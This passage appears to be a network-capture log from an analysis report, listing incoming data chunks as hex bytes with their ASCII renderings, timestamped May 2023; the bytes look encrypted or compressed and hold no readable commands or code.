2023-05-10 00:21:17 UTC	768	IN	Data Raw: c2 a5 07 da 3d 0d 16 9b 12 b5 d9 cd 84 0a 8a d5 86 ac 10 4e 76 0d 85 11 c9 26 36 3c 88 a8 36 3d ed 29 29 ba 41 bb 52 f3 42 83 11 1f da 64 dd 69 71 c9 cb 16 58 35 20 8e e8 b9 d9 de fb 92 79 3b 02 b5 3d 49 15 2c 74 f3 ab ba 1f 2d 43 9f ac e9 8e 87 18 57 7c 9c ba 1f a9 39 fd 3b ad 08 cf dd c2 c6 3b 90 1b 20 b2 41 ff a1 f5 94 ef 15 e1 16 ef d7 0f 95 87 9e 29 9d 0c 90 f0 94 f3 f5 dd 5e 34 b1 42 a8 bf a3 ac 65 94 e2 84 45 bb e6 9e 72 d3 40 e1 ac a0 f2 08 8f 03 56 65 92 6a 8e 09 70 4f 17 30 86 71 be c2 8c 33 6c c9 2c 5d c3 a0 0d 52 8c ff fb 63 f5 52 73 17 1c dc f0 91 87 4d 89 e3 26 0b df b8 41 4c a6 16 a0 8b 52 cf d7 f6 63 3e d8 33 a9 59 8c 46 f7 3b 79 bb 4d 00 69 f2 38 0f 5e 0d 3c 68 8b 83 2e 14 11 45 2b 33 56 14 71 4a 91 d5 c1 d8 df b2 7b cd ef 10 9d bf 92 ef Data Ascii: =Nv&6<6=))ARBdiqX5 y;=I,t-CW\|9;; A)^4BeEr@VejpO0q3l,]RcRsM&ALRc>3YF;yMi8^<h.E+3VqJ{
2023-05-10 00:21:17 UTC	784	IN	Data Raw: dd 98 c1 f5 71 52 d5 f2 c7 45 f2 dc 04 a9 f3 bf 9b fd 49 ba 04 28 62 b3 96 09 6b 24 77 27 3e 97 e2 cc 81 42 43 23 ee d2 1f 73 29 19 d4 97 38 99 b0 b7 02 ec 29 93 a7 f1 0a 2e a8 de 99 04 13 3a 93 7c c6 e8 e8 93 7b 63 60 09 14 5c 9a 0b 4c a4 44 69 b6 9d 5c c7 16 73 00 11 39 4b 5b 49 9e 64 d1 a0 8a bb ba 53 5e da d9 66 77 33 d7 8b d4 fe b0 20 bb 1c a8 0d db 26 87 6f b0 35 75 ca 3f 7a 9c 51 45 91 68 67 f5 3b 51 69 f3 40 20 f0 d0 a1 56 5a 85 cc ec 4c 92 4d b7 de 57 cb cc b4 e6 8f f5 5d a6 98 97 c4 31 4f b5 57 6b 68 9f f1 a6 72 ce 64 38 92 90 75 1f 53 ab a9 8d 4c 7a 61 f1 ad 91 31 48 42 e3 5b f4 1e 51 e0 24 b3 7c 1f f5 6e c8 02 eb 42 7e 01 59 5f ae a5 91 c6 fd d6 c9 48 f8 5b 2e ff 74 36 ac f9 d3 3a 98 94 c1 9e 15 54 88 ee f1 d7 80 eb 04 b3 f0 8d 09 f7 5a a0 70 Data Ascii: qREI(bk$w'>BC#s)8).:\|{c`\LDi\s9K[IdS^fw3 &o5u?zQEhg;Qi@ VZLMW]1OWkhrd8uSLza1HB[Q$\|nB~Y_H[.t6:TZp
2023-05-10 00:21:17 UTC	800	IN	Data Raw: 75 34 b2 ac 74 02 b5 7b bf 4f 3a cd f1 ea 68 d0 16 58 14 83 fe e7 8a 0b de c6 68 59 42 7b 90 9a 9b 7f 52 19 55 2d e9 6b c1 48 04 e4 fb 0f 18 7f 37 e9 76 0f 24 61 70 40 f7 92 a7 94 fd e4 26 88 34 af 1d ea 65 b0 fc d5 5a 36 60 67 ad 34 0e 3b 9e 08 d7 8f eb d5 d8 66 6f b3 9a 81 0b 2a 75 fb 0f 69 48 35 f1 ab e2 86 ab 3d 0f 0c db 7c c8 49 2b f8 97 c3 2c 5a 2b 63 ba da 5d 99 c8 0e da 29 cb 22 fa 41 5d 30 ed f5 8b bb f1 64 43 66 f1 fe 40 33 c1 27 22 c7 9a 9c bd c1 39 0b 56 a1 10 87 51 e3 4e bb 5f 91 bb 1f 4f 25 c1 f0 c1 7b ab ea 05 ac 86 4d d7 c6 10 67 07 a7 82 95 bf f4 6f 3d d8 6f ee 36 6e 23 b5 31 d6 37 05 e6 15 b3 4d 14 cb e8 b6 47 21 d9 c5 6c d6 92 3b 5c 7c be 5f c1 c4 f2 e5 65 1d 4d 2b 30 fe 99 fb 96 c3 5e 12 04 82 4f 1d 68 59 bf fb d6 fe e5 3a 56 3f b9 ba Data Ascii: u4t{O:hXhYB{RU-kH7v$ap@&4eZ6`g4;fo*uiH5=\|I+,Z+c])"A]0dCf@3'"9VQN_O%{Mgo=o6n#17MG!l;\\|_eM+0^OhY:V?
2023-05-10 00:21:17 UTC	816	IN	Data Raw: b9 41 7d 09 89 e0 94 ec 1f 04 8c 45 da e2 b0 eb 56 23 04 05 6d 67 b1 4c 97 23 5e 63 2c 18 95 17 5e 96 77 5f 51 32 75 2a cb 72 65 3d 46 a7 66 bb 9c e6 10 71 fa ec 9e 50 58 e0 00 80 f7 62 8a 3c 21 59 d1 c1 d9 9b e5 b5 cf d6 97 18 40 20 fd 8d 99 5c e9 64 36 2f 9d 9a e4 5d a4 cb 79 89 1e 91 33 f0 0c 5b 4a 02 40 f9 a5 95 18 f4 e3 65 10 3e 47 00 c6 38 57 bf c6 c7 28 7f b9 f8 2b 3b 2f d1 aa 46 65 52 53 4e f6 7f 7b 1f 40 87 6e 8d 5b 81 ef c2 23 f6 cb 69 ce eb f3 2e 4b e9 be 0e 78 1f 2b 9d 30 fa 57 61 60 46 32 dc ea 8f 2c c5 3a 74 bb e8 55 c8 16 4f b9 a8 fd 44 77 81 2e 6b 93 f8 1d 6d db eb 8f e2 c0 bd b1 b9 86 1a b0 64 f3 2c 61 75 48 1f 2f 62 ca 25 b3 93 33 1d 59 bb 80 c0 9e 84 89 02 2f 03 ac c7 64 5c 36 33 7e ae a1 a0 7a 1b 73 ed f0 12 84 b1 d9 7b 1d d4 46 8a c1 Data Ascii: A}EV#mgL#^c,^w_Q2u*re=FfqPXb<!Y@ \d6/]y3[J@e>G8W(+;/FeRSN{@n[#i.Kx+0Wa`F2,:tUODw.kmd,auH/b%3Y/d\63~zs{F
2023-05-10 00:21:17 UTC	832	IN	Data Raw: 0a d6 aa b0 03 2b 01 da 51 3c 59 5e 61 ce e5 05 39 c6 c9 d6 d6 67 19 68 8d da fc 1a 7d b3 b0 3f be b8 08 e3 ed 12 54 ca 10 93 b6 01 a2 3d cb a8 22 9c 17 59 1e 45 1e b9 55 60 93 98 6f 76 50 25 10 16 49 d6 71 21 d4 43 0b 01 5c 26 1f b1 db 69 37 1b 25 b9 b5 c2 e1 fb d9 9e 52 89 e5 7c ce 90 9c ee 05 44 6d b6 84 4e 89 73 6d a2 12 a0 ad 39 16 b1 03 91 67 86 b7 2a f4 c9 fd 5e a6 c5 39 e2 26 aa 01 d9 dc 5f 19 61 bc 7e 57 97 c8 00 e3 a0 f2 2b eb 27 bb 1d f9 f6 ce e3 c9 11 a7 ec a6 9f b9 84 91 56 76 b6 d0 ef 76 12 b4 91 fe 51 b6 74 57 7c 2b df 3b c6 28 15 ce 6b c3 08 8e c1 66 6e ca 97 80 08 6f 70 dc 25 ea 15 cf fc 26 39 32 54 46 f7 e6 15 04 4c 6b 2a 5e 31 16 ef ee 2b 1a dd c3 1a 40 66 f1 02 bb 2c 66 4b 5d cb c0 64 85 c1 99 52 8d 7a 82 67 d4 75 3f 0b 60 81 0a f9 3e Data Ascii: +Q<Y^a9gh}?T="YEU`ovP%Iq!C\&i7%R\|DmNsm9g^9&_a~W+'VvvQtW\|+;(kfnop%&92TFLk^1+@f,fK]dRzgu?`>
2023-05-10 00:21:17 UTC	848	IN	Data Raw: c3 fe 06 c5 26 8d f4 3a 81 fa c6 9b b2 d4 27 af 40 c1 1e 01 00 c1 57 f2 bc 88 d0 83 50 27 82 b4 48 47 f8 79 1c 58 36 76 fa 5a 57 c0 37 96 18 fa 84 32 b8 f5 64 e0 cb 5f 9b 39 70 fa 90 63 82 24 54 36 ec a8 07 9c 23 4d cd 6b 10 dd 74 c0 0f 2e 2f 74 e2 41 6a c7 25 ca fb 0c 50 ec 20 84 09 aa a0 56 25 d5 5d 3a 1a d8 ad 30 37 03 65 50 ca 3a d2 2b f7 57 47 51 ca 72 f4 a8 02 16 ff 0a 8f 9d 87 98 2e e3 a5 82 e1 bc 7a 3e 5d 61 7e 36 ee d5 cf 9e 90 0b 57 8d e7 b5 dc 38 70 5f 1f 08 9c b7 ed b2 e4 b1 21 c4 97 74 88 b9 f0 63 2b f3 ea a1 a9 ab f8 71 c1 40 9e 64 84 d0 70 ac 2d 96 ed 58 a4 72 7c 23 3f 1c a7 7c c6 d8 24 12 de 53 9c eb c8 b7 d8 14 c3 ac e4 81 bb 53 6f f5 4c 69 35 43 76 51 fc 81 8f a7 3c 9d b2 e5 73 1b 35 fe 83 8f 3e 98 c6 d0 7e 2b b2 fa 24 24 b8 88 2f f0 4c Data Ascii: &:'@WP'HGyX6vZW72d_9pc$T6#Mkt./tAj%P V%]:07eP:+WGQr.z>]a~6W8p_!tc+q@dp-Xr\|#?\|$SSoLi5CvQ<s5>~+$$/L
2023-05-10 00:21:17 UTC	864	IN	Data Raw: a9 54 62 60 48 50 84 83 c8 7e 4b 07 c9 fa 3d 0f 5d 1b 32 a8 bf df f6 f3 7f 69 dc 63 4d fa a9 04 ab 44 50 d7 b8 23 19 91 1a a2 8b 93 4e d0 97 f5 e4 d6 24 3d e0 69 74 63 e2 1a d4 56 34 9e e5 1a 2f 51 32 30 a9 7e d1 c3 c8 b2 48 2d 69 8f a8 86 88 1d f0 c8 3a 44 93 6c d1 65 49 53 6d 32 bf db 6a 2b b7 20 67 47 7b 9a 9c 9d 6b 49 28 60 91 6b c5 b5 a7 17 8e 93 56 57 85 14 5d d9 42 8f 56 70 3c 4d 39 40 d3 53 4a 68 62 16 74 96 ad ec ba 08 a8 f5 c9 31 bf 90 a9 8b 00 cd 08 40 1d 0f 39 84 53 c0 12 b0 f8 10 17 92 05 cd 42 31 4d 3b 55 84 78 79 09 c2 42 94 a2 e7 c6 05 26 fb 75 a5 1e dd 79 f5 fc 8f 4e 2b 4f f7 23 ab 1f a9 69 15 a6 80 58 16 3d 89 87 91 1d 15 9e 06 cc c6 5d da 58 3b 9a bd 57 8b 4b 2a f0 b2 c8 46 53 25 8e 75 8f 76 1d 9b 70 03 1a ef d1 93 2c 5c 6c df 1d 97 d2 Data Ascii: Tb`HP~K=]2icMDP#N$=itcV4/Q20~H-i:DleISm2j+ gG{kI(`kVW]BVp<M9@SJhbt1@9SB1M;UxyB&uyN+O#iX=]X;WK*FS%uvp,\l
2023-05-10 00:21:17 UTC	880	IN	Data Raw: 43 cd ff 9a 57 e8 4e bf b2 fa 23 42 b4 5d 5e c5 8a e5 8a c9 13 c9 58 ea e4 81 24 c6 30 7f a6 4e 63 05 64 81 25 b1 04 1f b0 d6 2b 82 3f 5e bf 15 b5 97 dc a2 68 1e 07 48 6b ed 58 a4 47 53 19 cd 13 83 13 76 25 51 3a 97 8b ad f0 d1 1a 52 01 08 4d 02 3f 72 c7 e5 96 a2 05 4b b4 f2 5e 6b 14 cb d8 26 0f 6e 9f 4f 6e 4a 77 d2 ff a2 b1 0f 9b 9a b9 cc 91 35 6a 32 86 b5 83 8b 96 e5 a5 45 aa 34 47 7b 7c 24 78 d5 2c cc 98 52 4b df 44 ba e2 a2 be 62 4f f3 fe 39 1d 4b da de d7 c5 ef 68 eb 05 b9 7c c1 54 2d a8 a5 df 8f aa 68 4a 0e 83 8d 20 94 0d 6b ab 43 3a a0 f4 56 ab 0a ca 82 08 16 47 af fa 53 2b 3e 0d 84 a1 f5 c4 73 a3 7a 75 77 4a 8c a7 a1 7a e1 17 ed ed 07 db 9e 52 5d 81 3e d9 b6 b1 e6 62 63 a4 4b 9a 09 b9 42 99 10 d8 b2 f1 d6 e9 44 2e 28 07 d8 e4 c8 58 e4 a3 5e 79 92 Data Ascii: CWN#B]^X$0Ncd%+?^hHkXGSv%Q:RM?rK^k&nOnJw5j2E4G{\|$x,RKDbO9Kh\|T-hJ kC:VGS+>szuwJzR]>bcKBD.(X^y
2023-05-10 00:21:17 UTC	896	IN	Data Raw: e8 ad b9 67 2d 68 57 2a 57 98 cf 09 4d c9 ec 75 86 70 78 84 50 b7 1c e2 79 3c ac 6e 07 93 31 21 c5 41 b0 51 e5 2b 6d 9a a7 54 47 d3 46 3f 52 05 a1 61 18 80 67 81 8b c7 8f b5 8e 8f 07 83 ad 8f a8 39 f6 ee 49 db fb 64 02 9d cb e8 e5 c7 a1 aa 2d b6 8c 07 43 e1 9c df f5 b0 13 cf 9f 60 cd c1 1d 03 c2 cc 11 fe 09 87 5d 79 24 c1 82 bc a5 cc c5 39 15 98 e5 5c d4 2b df ca c1 7d 6d 63 bc 58 9d b0 f6 43 15 b7 1f 01 15 4c 42 1f 1b fe 8f 62 67 b1 0c 73 be 82 f6 47 5d 12 ac 0b 03 88 16 5c 47 b9 d5 f2 fc fc c6 b4 69 4f cf 1f cb 2a a3 e8 79 d4 6b 7d 96 89 f6 3b 8a c7 d2 f3 cc 8f d6 03 ee f6 31 37 2e 19 85 73 aa 34 08 1d 7c 56 82 f8 02 82 8f de bb 53 71 29 8d 8c b3 3c 39 d0 ea 09 bf 9e 0c 47 a6 48 b2 94 e1 67 44 43 c4 b2 4f 74 04 1a f9 4a 0c 1a a3 9d 41 d1 d5 e9 b8 e2 95 Data Ascii: g-hWWMupxPy<n1!AQ+mTGF?Rag9Id-C`]y$9\+}mcXCLBbgsG]\GiOyk};17.s4\|VSq)<9GHgDCOtJA
2023-05-10 00:21:17 UTC	912	IN	Data Raw: fa ce 38 d0 60 63 7d dc 40 25 e2 21 ab fc 54 08 9b 72 75 9a 70 27 dd b9 39 e6 d9 5b 72 8c ca 62 c6 fd 14 dd 41 9c 78 c8 aa a9 a9 ba ec bd 8b 2f fc 4c 9c 68 5d 61 e4 fe 4e cd 56 94 b2 f1 5a 7c 46 7b b2 65 4e 4e 22 4b ff e9 3f 0f a7 51 16 18 aa 35 fa fb 92 8d 76 64 f5 e5 50 bb 4d de 60 0c ee d3 c4 26 dc 5c 71 97 b3 01 cc e6 75 ba 11 e5 75 f6 b2 22 52 bc 5d 95 b5 05 87 f3 90 aa d9 5e e2 51 76 b7 52 73 24 e7 22 e9 47 86 f1 ff 4f 45 bb f8 14 81 c4 c9 b7 1a fa e9 3e 04 25 03 bf a3 83 79 c6 23 32 90 85 72 86 eb b2 28 42 d6 5d be 52 85 bf 77 3e 8e b8 1a b7 ff d5 29 a7 76 ca e7 fb 50 08 a1 8a 54 24 ab ad f9 25 77 a4 69 03 15 83 19 c3 e3 b1 86 33 69 ba f0 f3 1a a4 48 7f 9f df 02 f8 14 d5 71 4f e2 fc e4 6e 0a 2d 1f 1f 16 98 14 75 47 f3 da 8a 5b 6a 3d a9 73 89 4b 2f Data Ascii: 8`c}@%!Trup'9[rbAx/Lh]aNVZ\|F{eNN"K?Q5vdPM`&\quu"R]^QvRs$"GOE>%y#2r(B]Rw>)vPT$%wi3iHqOn-uG[j=sK/
2023-05-10 00:21:17 UTC	928	IN	Data Raw: 6f b7 cc a9 3d 4a e1 6d ab 6a b7 4a 36 7b 44 48 b8 20 e1 89 50 d3 80 02 98 61 73 ca 78 9f 4e 0d 95 17 4d 79 96 5a a7 04 d0 67 21 00 55 c1 1b 7d cb d6 40 34 0f 37 28 e6 6d 3b 9b 7f 2d 95 85 b5 7c 4b 12 e7 17 e5 51 56 58 2d c0 2f 7c 1e 1b e6 8d 55 37 9c 2f bb a8 63 2d f1 a2 99 3e c8 1b 61 de 39 22 94 4f 28 fb 25 97 38 dd b5 5e 8f 4d 08 97 2d 99 74 0b 0f eb 0f 58 9f 34 85 5f f9 64 3c 37 43 ea 7c 8c b4 6b bd de 37 62 c6 1f 26 6a df 62 d7 4f 2f f5 54 f0 fd 1f 8d 60 8b 92 25 7c 42 17 ec e8 12 03 b6 9a 06 4d 34 68 57 64 be 05 b3 f3 ac ba ca 10 81 39 bc aa aa 7b 88 b8 61 19 6e 62 f2 3d dc b3 00 1c ad 5f a9 61 cc 37 a2 bb 15 f7 b3 1b 7b 75 88 63 9c 00 01 b6 36 e6 42 db 91 6b ca 58 be 9c 02 39 60 d1 6f de 94 c9 b0 af f7 1c c1 ef 06 b4 f4 8d e3 bd aa ef 19 3e 43 6b Data Ascii: o=JmjJ6{DH PasxNMyZg!U}@47(m;-\|KQVX-/\|U7/c->a9"O(%8^M-tX4_d<7C\|k7b&jbO/T`%\|BM4hWd9{anb=_a7{uc6BkX9`o>Ck
2023-05-10 00:21:17 UTC	944	IN	Data Raw: bb 54 0a 17 1e b9 66 f2 2e 79 47 c1 ba 40 b4 74 db 45 96 7a 64 94 9c 55 a7 5a 99 e4 8c 97 1d 5d 86 a9 db fc 7f ad b2 f5 1f 96 30 d2 fd f5 04 b7 2d 65 01 0d 3f 98 d1 3e 9e 7f 43 a3 60 21 0e 72 1b 15 85 72 5d 00 e0 7e e9 e8 13 40 b1 29 7b de 6f aa 17 f2 88 95 6f 25 71 50 46 f0 b9 37 a6 ef 23 6c ca 7e e2 74 5c 20 69 45 8f cc 84 77 06 36 23 97 0e dd 62 20 6f a4 26 60 ac 4a 05 f2 86 0e e8 59 73 04 cf d2 7d 9b 20 ce 7d 82 b8 4e 7d 1e 19 e1 9e fa a1 d4 95 ad d8 7b 53 83 58 b8 35 ec 00 e0 1c 93 7f ac 8a 16 1c 72 cf 45 b1 87 95 df c4 66 4c 67 91 d2 b6 d0 4d 58 72 cf 2e 53 ba 47 79 0f 57 fa 4f 29 36 a0 9f f3 1e e0 bd a6 c7 82 55 c1 13 3e 35 76 52 d5 39 77 0c ee ce 6d d2 76 c2 f3 c5 cc d2 11 0f 18 01 42 f6 33 0f 51 53 a6 28 cd 65 a2 a6 f6 a1 d3 4c 8c ca 9b 05 25 11 Data Ascii: Tf.yG@tEzdUZ]0-e?>C`!rr]~@){oo%qPF7#l~t\ iEw6#b o&`JYs} }N}{SX5rEfLgMXr.SGyWO)6U>5vR9wmvB3QS(eL%
2023-05-10 00:21:17 UTC	960	IN	Data Raw: fb 0f 73 98 83 55 d7 ff 10 b8 28 8f 44 2d 2b e1 1e 6a 29 d1 4b 3e 4b 9f 6d 43 87 5d 64 c0 e0 6d 0a 19 56 9f 6b 21 da 88 61 f8 6d 46 7d a5 ef 17 c1 ec 81 76 a8 5c 6e da 86 c6 99 f0 89 f8 6f 2a 49 29 0c fb d7 09 27 b9 57 6d 51 64 c5 8f 0a 7a d9 9a bc c7 ba 3e 47 3a ec 6c 31 d1 2c 3e 81 e2 48 c4 ce be 5b 67 15 cc 8a 69 a3 df ef cf ec d6 3d 5d 59 0a 03 34 a3 5d 9e 03 d5 52 eb 5d 0d 84 78 73 dc 53 64 3c c3 a3 38 12 6f 7f 19 64 31 8d bf 97 a5 19 1c 1e d1 a0 0c d4 e6 b8 f6 02 b9 4d 9b e4 5b df b8 d6 67 16 21 15 7f 64 f1 66 84 de 43 5a 81 f3 f2 87 be a8 eb 86 3d 42 af 1b 9e 7d b3 ce 15 e1 61 03 f3 13 e0 de 48 49 85 12 ed ba b4 4b 9f 11 45 80 30 7d 54 8d de 73 c9 fa 4b 90 6d 90 45 ea 94 b6 68 40 2c 43 50 1d 7b c4 3c 41 49 a6 c6 ac a7 f3 6b 94 73 58 79 41 2e 3c a3 Data Ascii: sU(D-+j)K>KmC]dmVk!amF}v\no*I)'WmQdz>G:l1,>H[gi=]Y4]R]xsSd<8od1M[g!dfCZ=B}aHIKE0}TsKmEh@,CP{<AIksXyA.<
2023-05-10 00:21:17 UTC	976	IN	Data Raw: f0 25 b6 ea ca 26 05 d6 36 0d 53 e4 91 05 62 e0 2d fb 03 7d f0 09 7f ea e1 fb 1a 2c 74 44 64 5d b3 aa 26 e1 d3 e6 20 bf 4e a7 eb dd fc b7 ee bc 0f 60 94 74 c0 90 a7 9b de 49 2c ad bc 1c 84 1f 91 11 aa f6 e3 70 fa 88 00 8f 33 9a 28 49 4a 19 d4 8b 33 cf 0d de 71 36 8c 69 84 a0 10 7c 82 0e 20 41 52 e3 f6 b8 77 9e 21 d4 f9 a6 c8 8e e9 5e 6b 91 ee b7 1d 75 88 3d a0 28 ee bb a4 9d d2 8b 07 c6 a3 b6 61 69 aa cb e0 5b e4 28 8f 60 c6 f3 85 39 7c 7e b7 67 81 c6 70 27 a1 0e f9 c8 a6 56 36 5a a3 92 ae fc 12 52 04 3d b5 00 4b b0 83 1b 9c 8f eb 29 ca 9a 3a f8 18 07 ab 1d 41 00 8c f6 7e 7c 7d 43 1c 0f b1 b6 a0 a8 fd d0 bf 34 46 a6 74 7e f1 d2 ee 82 ea 37 c8 85 3a f6 30 9b 98 47 a8 8f 8a c7 97 5a 67 aa b0 d7 97 09 03 a8 41 32 3b 30 f3 05 16 6c b0 07 4a 63 67 88 1f 9c fb Data Ascii: %&6Sb-},tDd]& N`tI,p3(IJ3q6i\| ARw!^ku=(ai[(`9\|~gp'V6ZR=K):A~\|}C4Ft~7:0GZgA2;0lJcg
2023-05-10 00:21:17 UTC	992	IN	Data Raw: 38 c4 a0 01 ff 46 b6 13 bd df 54 06 1d 39 e4 ad bc 43 b5 da 33 39 ed 98 31 24 a7 23 3a 87 40 e7 b0 3f e6 87 52 76 a3 c3 e2 18 7e e5 97 8e ea b4 68 39 ec 75 5d d8 8e a8 3f 7d 22 06 dd 89 fb 0d 49 06 1b 1c a9 37 15 4f 77 a1 01 26 ff 32 95 95 e3 6f 38 b1 40 e8 2b 2f 69 89 cb 93 8a fb 4d 13 57 4c e3 3c b2 aa 97 f0 1a 49 68 80 ad 86 64 d8 15 16 d4 16 d0 6b 96 a8 89 e0 1e d1 2f e4 c0 67 3a ef 21 bc a1 48 b8 20 b2 07 f6 1a 27 bd 0a 4c 58 c2 7b 13 56 1e ff b0 33 68 e2 a9 dc 91 53 b1 26 0d b5 cb 9f 51 51 4a da b5 1b bc 8d 39 fc b9 3a 5d 20 92 44 7e d7 73 65 15 59 e9 fd ce 0d 51 50 f9 38 22 76 d6 6a 70 11 3a 9f 9b e6 3c da 87 21 63 60 c1 b9 9c 37 aa 5c 78 67 37 2e 93 5a 5c 45 a4 5e ae ac 59 57 89 74 34 11 25 29 9b 62 b6 1c 81 70 f6 26 d0 0f c0 c8 ed f4 8c 24 50 fa Data Ascii: 8FT9C391$#:@?Rv~h9u]?}"I7Ow&2o8@+/iMWL<Ihdk/g:!H 'LX{V3hS&QQJ9:] D~seYQP8"vjp:<!c`7\xg7.Z\E^YWt4%)bp&$P
2023-05-10 00:21:17 UTC	1008	IN	Data Raw: 1e 1b 00 5f fc 51 1b 02 b5 ee 1a 27 2d d5 2e fe 84 15 cb db d2 2a dc 4d ac 12 e9 2b 78 92 50 f1 f2 6d 57 0a 39 5b 5b be ee 54 9c 20 0f b7 25 66 58 05 6b 0a 58 26 68 8e aa bb 75 ce dc 4e 4e b9 af f8 d3 e4 87 af f6 51 43 63 f9 f6 b6 50 d2 71 3d d2 a8 e5 70 bf a9 19 ce 82 bb 22 d0 3e e8 ef 8a ae 4c 09 b2 8a 0c c9 e9 5f 85 6f 2a e4 c1 8d b5 ed 7e f5 75 b4 5e 05 09 b1 57 3e e3 33 89 73 a8 c4 e7 44 3c 89 1a 5e 07 d8 d7 61 7f 90 ff 8e 08 b3 f9 b6 94 84 55 4d 7e 6f ce 48 01 b9 97 99 db 51 e1 b1 2f 4d c3 58 42 40 f6 60 b4 4e d3 67 3e 3c 68 bc ea 0f 57 ee 27 8d 33 92 4a 5c 41 ae 10 27 89 df 00 c5 13 0a f6 e2 41 4b fb 57 58 bd 98 b6 e2 78 fc f6 db e7 70 e5 b6 40 2e 89 22 e1 d7 76 75 59 9c 92 8a 9a af f2 b3 c5 0c 03 c8 76 8f 65 fd 37 c2 51 bf 49 74 b1 4b 4d a7 8d c0 Data Ascii: _Q'-.M+xPmW9[[T %fXkX&huNNQCcPq=p">L_o~u^W>3sD<^aUM~oHQ/MXB@`Ng><hW'3J\A'AKWXxp@."vuYve7QItKM
2023-05-10 00:21:17 UTC	1024	IN	Data Raw: 76 8a 3d 1a 56 9d e4 07 af 7b 1f f1 f5 8a b4 7a 2d e8 70 58 ef fd fa 0e 11 b2 90 53 16 9b dc 49 e2 da 0a 7f 3f 4b 61 aa 11 e4 c8 20 85 e8 5a 15 cd f2 00 18 31 b9 01 bf 19 d3 2a 98 e8 71 88 c7 70 26 91 37 6d 1e ad 8f 68 a7 08 52 1f cd 74 91 b0 31 e3 ff 81 7a 42 c9 0c f2 9c d5 39 93 74 10 0d 3f 2b 8b 42 93 04 48 11 6d 32 fe 69 38 94 31 11 3b 8f aa 9f 60 2a 2d 0a 1a 15 8c b9 21 e6 43 7d 61 3f c6 8e d7 24 92 b7 a3 0f 7e 80 b1 19 05 11 bd cb 23 31 f6 53 a3 06 ab dc 86 fd 29 32 b2 69 8c 91 59 77 16 79 0c b7 4a 9a c8 7c d2 f4 27 3f 8c 7a f0 bf 46 5c cc 95 10 3a 65 32 54 d1 6e d6 88 15 ee 3c d9 84 ce 53 ae 31 2d 43 88 b9 f6 e2 14 49 6b 12 02 15 3d 3f 4c 03 0e de be 74 63 00 ec 41 57 d0 1e f3 7f 06 d9 ee 4a 25 64 96 55 c8 5c 54 ec 2f 2c 33 3a f8 54 42 a0 58 47 ef Data Ascii: v=V{z-pXSI?Ka Z1qp&7mhRt1zB9t?+BHm2i81;`-!C}a?$~#1S)2iYwyJ\|'?zF\:e2Tn<S1-CIk=?LtcAWJ%dU\T/,3:TBXG
2023-05-10 00:21:17 UTC	1040	IN	Data Raw: 0f ec 9e d2 c3 69 dd 4e 4e b6 f6 e3 de 22 81 86 e5 d4 7e 18 ee 03 d2 45 84 a2 1c 8d 81 3b 89 f8 0d 6f 32 2a a9 c6 07 c1 0d 51 00 cf 0d 50 fc 32 7b ed 5b 52 0c d7 10 ee 37 21 cc 73 77 ec be 38 55 39 39 92 89 ae 55 fc 3d 9a a9 43 4d 13 9e e4 d6 aa 1d 66 b5 bb 0d 22 1c 2f 59 c3 f4 09 5f 7b 3b 35 38 5c 71 a0 c4 ec ae db 61 14 0e 5e df 73 78 59 86 19 f1 e8 c9 16 ee 05 59 6c 1e 14 35 1b 05 0b e7 c3 96 9e 6e 23 5c 85 b8 f4 79 ca 25 f2 26 f9 90 7f d6 1d 83 14 43 85 ea 43 a7 12 3f 93 c9 f3 0f e0 42 71 23 f2 6c 95 50 f6 bf 38 47 f7 cf 9d 2e 22 ea 49 6b 0c 48 f9 66 51 12 86 ca 20 69 68 99 6e 5e d9 b9 f0 28 3f 59 29 29 b3 44 97 5f 34 d3 87 1b 90 4e 43 2f 47 fb 96 f1 9f 2c b7 2e 77 01 ac df fc 44 62 1a ac d8 90 36 3c ec 6c 63 b5 47 30 63 8b 14 84 92 58 03 67 83 e7 46 Data Ascii: iNN"~E;o2*QP2{[R7!sw8U99U=CMf"/Y_{;58\qa^sxYYl5n#\y%&CC?Bq#lP8G."IkHfQ ihn^(?Y))D_4NC/G,.wDb6<lcG0cXgF
2023-05-10 00:21:17 UTC	1056	IN	Data Raw: 83 16 78 cb c0 1a 57 b0 a7 5e 67 9c 89 79 d5 19 64 a7 dc 1b 86 56 a7 b0 f4 97 fe d9 8d 77 8b 7d 1f ae 2b f4 e4 0e 47 c1 52 52 1e 70 9a 24 5e 5b 45 e6 88 73 9f 0a d9 4c 48 7e d1 23 65 f1 8c 68 6e 01 4b a7 36 07 37 83 39 2c f2 b3 b8 85 56 f1 7e 84 71 14 2b b9 82 74 21 42 b6 ec 88 6f 46 25 d1 ec 00 5b de a7 b9 ca 8d fd 87 21 83 82 9f bd 41 f7 91 e4 cf 15 f7 04 ce c2 bf f3 61 24 e1 94 98 98 8f e6 a5 d8 01 c5 fd 1d 97 27 8e 29 36 71 61 16 7a e0 2c 96 f9 59 86 c2 cb 18 a6 1e 9d 7e ff 2f c1 28 a0 a1 b2 c7 61 29 5c 97 f0 97 91 3c bc c5 a1 f4 fc 77 a9 92 46 40 17 b9 ec d2 9c 2c 75 0a 10 d8 e8 68 7a b2 af ba ed a5 12 b1 05 1b 15 6f 7a 9f 39 35 0a 41 2e e7 1b 47 9a b2 fb 21 66 1a 6b f1 13 0f 08 19 61 43 29 43 a2 87 69 57 95 df af a0 74 dc 64 84 0a b4 95 6e 78 8e 00 Data Ascii: xW^gydVw}+GRRp$^[EsLH~#ehnK679,V~q+t!BoF%[!Aa$')6qaz,Y~/(a)\<wF@,uhzoz95A.G!fkaC)CiWtdnx
2023-05-10 00:21:17 UTC	1072	IN	Data Raw: 94 a1 c3 bc 0d 56 74 74 1b 45 bb c7 82 e7 19 c0 40 05 47 60 ab 46 f3 2c fd d5 03 ac 96 00 75 b9 b3 45 ea 52 a4 d6 9b 64 b4 1f ba ac 71 2e 1d 31 cb 60 0f 5e 86 43 af 6c 89 7e f2 d2 2d f4 7b a3 7e 92 57 bf 3a dc c4 70 f6 70 b2 d7 0e dc af bb 94 fb 9b 09 cc 7e 2b 85 e9 fd 65 85 bc 07 5f 38 96 bf df 66 07 4b 6e 01 7e ec 3e 09 a9 2c ef 0f 42 46 b2 a6 84 59 dc b1 08 3c b4 be 5e 3e 22 0a 46 e5 0d 28 bf c8 7d aa 0b 43 ce 33 6a 14 2f a5 7f 9d 0d c2 51 6c 20 59 b5 c1 d9 60 2c a0 f9 f2 35 b8 97 f9 21 83 d4 18 24 13 66 a0 3d 96 5d 2d 8a 1d 8f 98 20 2e 05 10 20 f1 2b 94 ce 62 d0 79 20 f6 49 db 7c 55 1b 2b 1b ef 85 01 fd 89 3a 7e 34 2d 7f 9f a0 32 74 ff 1e e6 dd ec 2f 47 f8 0a 79 27 86 24 9a 76 c7 2f 27 d8 44 5f 0f 01 5e 97 41 91 